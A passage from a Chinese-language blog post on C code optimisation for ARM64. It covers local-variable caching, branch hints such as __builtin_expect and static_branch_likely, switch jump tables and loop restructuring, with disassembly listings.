   str     w1, [x0]</span><br><span class="line">        ldr     w0, [x29, 28]</span><br><span class="line">        add     w0, w0, 1</span><br><span class="line">        str     w0, [x29, 28]</span><br><span class="line">        b       .L3</span><br><span class="line">.L4:</span><br><span class="line">        nop</span><br><span class="line">        ldp     x29, x30, [sp], 32</span><br><span class="line">        ret</span><br></pre></td></tr></table></figure><p>如果将其存放进局部变量中，那么我们的值将会通过栈上的数据存储，在完成数据修改后再写回全局变量，这样能减少无效的内存访问，优化程序整体的速度。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">int</span> sum = <span class="number">0x1234</span>;</span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">func</span><span class="params">(<span class="keyword">void</span>)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">int</span> max_loop = get_loop_size();</span><br><span class="line">    <span class="keyword">int</span> tmp_sum = sum; <span class="comment">// 新的局部变量</span></span><br><span class="line">    <span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i &lt; max_loop; i++) &#123;</span><br><span class="line">        tmp_sum += <span class="number">1</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    sum = tmp_sum;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>优化之后的反汇编结果：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line">sum:</span><br><span class="line">        .word   4660</span><br><span class="line">func():</span><br><span class="line">        stp     x29, x30, [sp, -32]!</span><br><span class="line">        add     x29, sp, 0</span><br><span class="line">        bl      get_loop_size()</span><br><span class="line">        str     w0, [x29, 20]</span><br><span class="line">        adrp    x0, sum</span><br><span class="line">        add     x0, x0, :lo12:sum</span><br><span class="line">        ldr     w0, [x0]</span><br><span class="line">        str     w0, [x29, 28]</span><br><span class="line">        str     wzr, [x29, 24]</span><br><span class="line">.L3:</span><br><span class="line">        ldr     w1, [x29, 24]</span><br><span class="line">        ldr     w0, [x29, 20]</span><br><span class="line">        cmp     w1, w0</span><br><span class="line">        bge     .L2</span><br><span class="line">        ldr     w0, [x29, 28]</span><br><span class="line">        add     w0, w0, 1</span><br><span class="line">        str     w0, [x29, 28]</span><br><span class="line">        ldr     w0, [x29, 24]</span><br><span class="line">        add     w0, w0, 1</span><br><span class="line">        str     w0, [x29, 24]</span><br><span class="line">        b       .L3</span><br><span class="line">.L2:</span><br><span class="line">        adrp    x0, sum</span><br><span class="line">        add     x0, x0, :lo12:sum</span><br><span class="line">        ldr     w1, [x29, 28]</span><br><span class="line">        str     w1, [x0]</span><br><span class="line">        nop</span><br><span class="line">        ldp     x29, x30, [sp], 32</span><br><span class="line">        ret</span><br></pre></td></tr></table></figure><p><strong>缓存多次使用的表达式</strong></p><p>非常显而易见的事情，如果在编码中出现了多次的表达式，就应该用局部变量缓存一下，而不是用相同的语句再计算一遍。下面给了一个例子，我们在做计算的过程中，类似于<code>value_1</code> 和  <code>value_2</code>这样的表达式结果，如果后续还有使用的场景，在不影响最终结果的情况下就应该直接复用。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">func</span><span class="params">(<span class="keyword">int</span> a, <span class="keyword">int</span> b)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">int</span> value_1 = a + get_some_value();</span><br><span class="line">    <span class="keyword">int</span> value_2 = b + get_other_value();</span><br><span class="line">    do_something(value_1, value_2);</span><br><span class="line">    <span class="keyword">int</span> value_3 = a + b + get_some_value() + get_other_value();</span><br><span class="line">    <span class="keyword">return</span> value_3;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>以上代码可以优化为下面的样子，当然这个地方编译器估计也能有点优化，但能优化到什么程度全看用的什么编译器，以及编译器的版本和编译选项。所以，这种能依靠编码优化的情况，尽量在代码实现时就完成最优处理。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">func</span><span class="params">(<span class="keyword">int</span> a, <span class="keyword">int</span> b)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">int</span> value_1 = a + get_some_value();</span><br><span class="line">    <span class="keyword">int</span> value_2 = b + get_other_value();</span><br><span class="line">    do_something(value_1, value_2);</span><br><span class="line">    <span class="keyword">int</span> value_3 = value_1 + value_2;</span><br><span class="line">    <span class="keyword">return</span> value_3;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="标记条件分支"><a href="#标记条件分支" class="headerlink" title="标记条件分支"></a>标记条件分支</h3><p><strong>__builtin_expect</strong></p><p>这个编译器内置的函数，能够标记最有可能进入的条件分支，而这个最常进入的条件分支的语句指令会被放在前面，不常进入的语句指令将会被放在后面，如此一来，可以最大化的发挥CPU的指令预取能力。<code>__builtin_expect</code>在很多时候也会被封装成<code>LIKELY</code>和<code>UNLIKELY</code>的宏，需要根据你所在的编码环境具体选择。（<strong>需要添加-O2的编译选项才能触发标记条件分支的优化</strong>）</p><p>具体用法如下：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">define</span> LIKELY(x) __builtin_expect(!!(x), 1)</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> UNLIKELY(x) __builtin_expect(!!(x), 0)</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (LIKELY(a &gt; <span class="number">5</span>)) &#123;</span><br><span class="line">    a -= <span class="number">5</span>;</span><br><span class="line">    b++;</span><br><span class="line">&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    a += <span class="number">5</span>;</span><br><span class="line">    b--;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (UNLIKELY(a &gt; <span class="number">5</span>)) &#123;</span><br><span class="line">    a -= <span class="number">5</span>;</span><br><span class="line">    b++;</span><br><span class="line">&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    a += <span class="number">5</span>;</span><br><span class="line">    b--;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>分别编译以上两段不同的程序，我们通过反汇编就可以查看到，当条件语句为<code>LIKELY(a &gt; 5)</code>时，上面的<code>a -= 5;b++;</code>是在比较指令cmp的后面；</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">        cmp     w0, 5</span><br><span class="line">        ble     .L2</span><br><span class="line">        add     w1, w1, 1</span><br><span class="line">        sub     w0, w0, #5</span><br><span class="line">        add     w0, w0, w1</span><br><span class="line">        ret</span><br><span class="line">.L2:</span><br><span class="line">        sub     w1, w1, #1</span><br><span class="line">        add     w0, w0, 5</span><br><span class="line">        add     w0, w0, w1</span><br><span class="line">        ret</span><br></pre></td></tr></table></figure><p>当条件语句为<code>UNLIKELY(a &gt; 5)</code>时，下面的<code>a += 5;b--;</code>就会被放在指令cmp的后面。这样的结果，也对应了代码局部性原理，让更可能执行的指令放在一起。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">        cmp     w0, 5</span><br><span class="line">        bgt     .L5</span><br><span class="line">        sub     w1, w1, #1</span><br><span class="line">        add     w0, w0, 5</span><br><span class="line">        add     w0, w0, w1</span><br><span class="line">        ret</span><br><span class="line">.L5:</span><br><span class="line">        add     w1, w1, 1</span><br><span class="line">        sub     w0, w0, #5</span><br><span class="line">        add     w0, w0, w1</span><br><span class="line">        ret</span><br></pre></td></tr></table></figure><p><strong>__builtin_unreachable</strong></p><p>同样为编译器内置的函数，能够标记分支中明确不可达的部分，这样能让编译器感知到该分支永远不可达。（那么永远不可达的代码为啥还要写呢？这又是另外一个问题了，某些场景是为了程序员方便理解，某些场景是为了清除编译告警等问题）针对这类标记，编译器在感知到不可达信息之后，能够使用更加激进的优化方案处理这段代码的指令翻译。</p><p>具体用法如下：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">void</span> __<span class="function">noreturn <span class="title">arm64_serror_panic</span><span class="params">(struct pt_regs *regs, <span class="keyword">unsigned</span> <span class="keyword">long</span> esr)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    ......</span><br><span class="line">    cpu_loop(); <span class="comment">// 永远不会退出的循环</span></span><br><span class="line">    unreachable();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>我这里直接拿了一段Linux内核的代码来举例子，这里有个场景是陷入循环中，永远不会退出。在这种场景下，末尾跟随一个<code>unreachable</code>表达后面永远不会到达。这样编译器，就能针对这个点单独做出优化，比如这样就不需要在函数末尾出栈和返回，以及针对性的做出指令地址布局的优化。</p><p><strong>static_branch_likely</strong> 和 <strong>static_branch_unlikely</strong></p><p>在内核中有着两个神奇的宏定义在<code>include/linux/jump_label.h</code>中，这就是<code>static_branch_likely</code>和<code>static_branch_unlikely</code>。这两个宏定义配合Linux内核的跳转表能玩出特别花的动态分支调整，这里的两个宏实际的用法，和上面的<code>LIKELY</code>和<code>UNLIKELY</code>是一样的，在条件判断中添加后用于优化编译后的指令布局。但它强大的地方在于，还提供了另外的接口<code>static_branch_enable</code>和<code>static_branch_disable</code>控制这种优化（还有<code>static_branch_inc</code>和<code>static_branch_dec</code>），在满足特定场景和条件的情况下，开启/关闭分支优化。</p><p>下面来看示例代码（从Linux内核摘抄，kvm模块的代码）：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">static</span> <span class="title">DEFINE_STATIC_KEY_FALSE</span><span class="params">(has_gic_active_state)</span></span>;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">kvm_timer_hyp_init</span><span class="params">(<span class="keyword">bool</span> has_gic)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    ......</span><br><span class="line">    <span class="keyword">if</span> (has_gic) &#123;</span><br><span class="line">        ...</span><br><span class="line">        static_branch_enable(&amp;has_gic_active_state);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">kvm_timer_vcpu_load</span><span class="params">(struct kvm_vcpu *vcpu)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    ...</span><br><span class="line">    <span class="keyword">if</span> (static_branch_likely(&amp;has_gic_active_state)) &#123;</span><br><span class="line">        ...</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>在文件的最开头定义这个动态条件变量默认为<code>false</code>，在初始化的函数中判断是否存在gic，在拥有的情况下会开启这个动态分支优化。下面在kvm模块使用的接口中，会利用<code>static_branch_likely</code>接口判断这个条件变量的使能情况，在上面使能后这里就能通知编译器针对性的优化，如果没使能这里就会按照正常的条件分支做编译处理。</p><h3 id="switch的表跳转优化"><a href="#switch的表跳转优化" class="headerlink" title="switch的表跳转优化"></a>switch的表跳转优化</h3><p>写代码过程中常见的“垃圾”代码就是一大串的<code>if-else</code>分支，如果是特别清晰的判断逻辑可能还能接受，一旦判断条件很复杂，简直就是一坨屎山。在这种大量<code>if-else</code>的场景下，也有一种对应的优化手法，那就是转换成<code>switch-case</code>的模式，而超过某个case数量阈值的<code>switch-case</code>能够被编译器自动优化成跳转表的指令格式，这能大量压缩指令数量以及增加条件判断性能。当然，这里你也能手动把<code>if-else</code>改造成跳转表格式，不过这会有点点烧脑，需要构造一会儿。</p><p>以下一段代码示例：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">func</span><span class="params">(<span class="keyword">int</span> input)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">int</span> ret = some();</span><br><span class="line">    <span class="keyword">if</span> (input == <span class="number">1</span>) &#123;</span><br><span class="line">        ret = ret + some1();</span><br><span class="line">    &#125; <span class="keyword">else</span> <span class="keyword">if</span> (input == <span class="number">2</span>) &#123;</span><br><span class="line">        ret += some2();</span><br><span class="line">    &#125; <span class="keyword">else</span> <span class="keyword">if</span> (input == <span class="number">3</span>) &#123;</span><br><span class="line">        ret += some3();</span><br><span class="line">    &#125; <span class="keyword">else</span> <span class="keyword">if</span> (input == <span class="number">4</span>) &#123;</span><br><span class="line">        ret += some4();</span><br><span class="line">    &#125; <span class="keyword">else</span> <span class="keyword">if</span> (input == <span class="number">5</span>) &#123;</span><br><span class="line">        ret += some5();</span><br><span class="line">    &#125; <span class="keyword">else</span> <span class="keyword">if</span> (input == <span class="number">6</span>) &#123;</span><br><span class="line">        ret += some6();</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        ret += some7();</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> ret;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这段代码如果编译出来后，反汇编查看指令，就能看到其中的<code>if-else</code>全部被转为了cmp指令，会进行多次cmp比较，通过比较的逻辑判断出要跳转的位置，再去执行对应分支上的逻辑。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br></pre></td><td class="code"><pre><span class="line">func:</span><br><span class="line">        stp     x29, x30, [sp, -32]!</span><br><span class="line">        add     x29, sp, 0</span><br><span class="line">        stp     x19, x20, [sp, 16]</span><br><span class="line">        mov     w19, w0</span><br><span class="line">        bl      some</span><br><span class="line">        mov     w20, w0</span><br><span class="line">        cmp     w19, 1</span><br><span class="line">        beq     .L11</span><br><span class="line">        cmp     w19, 2</span><br><span class="line">        beq     .L12</span><br><span class="line">        cmp     w19, 3</span><br><span class="line">        beq     .L13</span><br><span class="line">        cmp     w19, 4</span><br><span class="line">        beq     .L14</span><br><span class="line">        cmp     w19, 5</span><br><span class="line">        beq     .L15</span><br><span class="line">        cmp     w19, 6</span><br><span class="line">        beq     .L16</span><br><span class="line">        bl      some7</span><br><span class="line">        add     w0, w20, w0</span><br><span class="line">.L1:</span><br><span class="line">        ldp     x19, x20, [sp, 16]</span><br><span class="line">        ldp     x29, x30, [sp], 32</span><br><span class="line">        ret</span><br><span class="line">.L14:</span><br><span class="line">        bl      some4</span><br><span class="line">        add     w0, w20, w0</span><br><span class="line">        b       .L1</span><br><span class="line">.L11:</span><br><span class="line">        bl      some1</span><br><span class="line">        add     w0, w0, w20</span><br><span class="line">        ldp     x19, x20, [sp, 16]</span><br><span class="line">        ldp     x29, x30, [sp], 32</span><br><span class="line">        ret</span><br><span class="line">.L12:</span><br><span class="line">        bl      some2</span><br><span class="line">        add     w0, w20, w0</span><br><span class="line">        ldp     x19, x20, [sp, 16]</span><br><span class="line">        ldp     x29, x30, [sp], 32</span><br><span class="line">        ret</span><br><span class="line">.L13:</span><br><span class="line">        bl      some3</span><br><span class="line">        add     w0, w20, w0</span><br><span class="line">        ldp     x19, x20, [sp, 16]</span><br><span class="line">        ldp     x29, x30, [sp], 32</span><br><span class="line">        ret</span><br><span class="line">.L16:</span><br><span class="line">        bl      some6</span><br><span class="line">        add     w0, w20, w0</span><br><span class="line">        ldp     x19, x20, [sp, 16]</span><br><span class="line">        ldp     x29, x30, [sp], 32</span><br><span class="line">        ret</span><br><span class="line">.L15:</span><br><span class="line">        bl      some5</span><br><span class="line">        add     w0, w20, w0</span><br><span class="line">        b       .L1</span><br></pre></td></tr></table></figure><p>优化之后，采用<code>switch-case</code>的模式的代码如下：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">func</span><span class="params">(<span class="keyword">int</span> input)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">int</span> ret = some();</span><br><span class="line"></span><br><span class="line">    <span class="keyword">switch</span> (input) &#123;</span><br><span class="line">      <span class="keyword">case</span> <span class="number">1</span>:</span><br><span class="line">          ret += some1();</span><br><span class="line">          <span class="keyword">break</span>;</span><br><span class="line">      <span class="keyword">case</span> <span class="number">2</span>:</span><br><span class="line">          ret += some2();</span><br><span class="line">          <span class="keyword">break</span>;</span><br><span class="line">      <span class="keyword">case</span> <span class="number">3</span>:</span><br><span class="line">          ret += some3();</span><br><span class="line">          <span class="keyword">break</span>;</span><br><span class="line">      <span class="keyword">case</span> <span class="number">4</span>:</span><br><span class="line">          ret += some4();</span><br><span class="line">          <span class="keyword">break</span>;</span><br><span class="line">      <span class="keyword">case</span> <span class="number">5</span>:</span><br><span class="line">          ret += some5();</span><br><span class="line">          <span class="keyword">break</span>;</span><br><span class="line">      <span class="keyword">case</span> <span class="number">6</span>:</span><br><span class="line">          ret += some6();</span><br><span class="line">          <span class="keyword">break</span>;</span><br><span class="line">      <span class="keyword">default</span>:</span><br><span class="line">          ret = some7();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> ret;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这样再次编译的时候，查看它的反汇编结果，就能看到生成的跳转表（在末尾）：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br></pre></td><td class="code"><pre><span class="line">func:</span><br><span class="line">        stp     x29, x30, [sp, #-32]!</span><br><span class="line">        stp     x20, x19, [sp, #16]</span><br><span class="line">        mov     x29, sp</span><br><span class="line">        mov     w20, w0</span><br><span class="line">        bl      some</span><br><span class="line">        sub     w8, w20, #1</span><br><span class="line">        cmp     w8, #6</span><br><span class="line">        b.hi    .LBB0_3</span><br><span class="line">        adrp    x9, .LJTI0_0</span><br><span class="line">        add     x9, x9, :lo12:.LJTI0_0</span><br><span class="line">        mov     w19, w0</span><br><span class="line">        adr     x10, .LBB0_2</span><br><span class="line">        ldrb    w11, [x9, x8]</span><br><span class="line">        add     x10, x10, x11, lsl #2</span><br><span class="line">        br      x10</span><br><span class="line">.LBB0_2:</span><br><span class="line">        bl      some1</span><br><span class="line">        b       .LBB0_9</span><br><span class="line">.LBB0_3:</span><br><span class="line">        ldp     x20, x19, [sp, #16]</span><br><span class="line">        ldp     x29, x30, [sp], #32</span><br><span class="line">        b       some7</span><br><span class="line">.LBB0_4:</span><br><span class="line">        bl      some2</span><br><span class="line">        b       .LBB0_9</span><br><span class="line">.LBB0_5:</span><br><span class="line">        bl      some3</span><br><span class="line">        b       .LBB0_9</span><br><span class="line">.LBB0_6:</span><br><span class="line">        bl      some4</span><br><span class="line">        b       .LBB0_9</span><br><span class="line">.LBB0_7:</span><br><span class="line">        bl      some5</span><br><span class="line">        b       .LBB0_9</span><br><span class="line">.LBB0_8:</span><br><span class="line">        bl      some6</span><br><span class="line">.LBB0_9:</span><br><span class="line">        add     w0, w0, w19</span><br><span class="line">.LBB0_10:</span><br><span class="line">        ldp     x20, x19, [sp, #16]</span><br><span class="line">        ldp     x29, x30, [sp], #32</span><br><span class="line">        ret</span><br><span class="line">.LBB0_11:</span><br><span class="line">        bl      some6</span><br><span class="line">        sub     w0, w19, w0</span><br><span class="line">        b       .LBB0_10</span><br><span class="line">.LJTI0_0:</span><br><span class="line">        .byte   (.LBB0_2-.LBB0_2)&gt;&gt;2</span><br><span class="line">        .byte   (.LBB0_4-.LBB0_2)&gt;&gt;2</span><br><span class="line">        .byte   (.LBB0_5-.LBB0_2)&gt;&gt;2</span><br><span class="line">        .byte   (.LBB0_6-.LBB0_2)&gt;&gt;2</span><br><span class="line">        .byte   (.LBB0_7-.LBB0_2)&gt;&gt;2</span><br><span class="line">        .byte   (.LBB0_8-.LBB0_2)&gt;&gt;2</span><br><span class="line">        .byte   (.LBB0_11-.LBB0_2)&gt;&gt;2</span><br></pre></td></tr></table></figure><p><strong>注意：</strong></p><p>关于这个跳转表优化，我在实际测试的过程中发现它和编译器的版本强相关。在比较新的编译器clang或者gcc高版本上做测试时，在不开启高优化选项时，也能针对<code>if-else</code>分支做跳转表优化。这说明编译器本身的优化能力也是在版本升级的过程中，不断地增强迭代。可能现阶段使用较新编译器的情况下，该条优化建议所能产生的价值较为有限。</p><h3 id="循环行为优化"><a href="#循环行为优化" class="headerlink" title="循环行为优化"></a>循环行为优化</h3><p><strong>提取循环中的无关操作</strong></p><p>使用了循环语句，说明循环内部的操作是需要反复执行的内容，这段内容越精简也会使得整体的效率越高。但是如何精简呢？方向大致上是：</p><ul><li>循环的判断条件</li><li>循环体内的计算</li></ul><p>如果存在每次循环中都是相同的内容，可以抽离出循环体外。给一段示例代码：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">func</span><span class="params">(<span class="keyword">int</span> *a, <span class="keyword">int</span> *b, <span class="keyword">int</span> num)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i &lt; num; i++) &#123;</span><br><span class="line">        a[i] = b[i] * some_value();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>优化其中共同的计算内容后：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">func</span><span class="params">(<span class="keyword">int</span> *a, <span class="keyword">int</span> *b, <span class="keyword">int</span> num)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">int</span> temp =  some_value();</span><br><span class="line">    <span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i &lt; num; i++) &#123;</span><br><span class="line">        a[i] = b[i] * temp;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>地址小偏移和多次数循环尽量在内层</strong></p><p>可以结合<code>cache优化</code>章节的内容一起学习，这里将地址小偏移以及循环次数多的内容放在循环内层中，为了更多的保证cache的命中率，同时内层循环次数多，外层循环次数少，也就意味着外层的条件判断相关内容执行的少，这样反而能少一点循环变量初始化的指令执行。</p><p>示例代码如下：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span> (<span class="keyword">int</span> j = <span class="number">0</span>; j &lt; <span class="number">1000</span>; j++) &#123;</span><br><span class="line">    <span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i &lt; <span class="number">10</span>; i++) &#123;</span><br><span class="line">        sum += input[i][j];</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>优化之后的代码，把循环的遍历方式调整为以行遍历为准，以列遍历的方式一方面会增加循环变量的初始化次数，另外一方面会减少cache的命中率（详细见<code>cache优化</code>章节）</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i &lt; <span class="number">10</span>; i++) &#123;</span><br><span class="line">    <span class="keyword">for</span> (<span 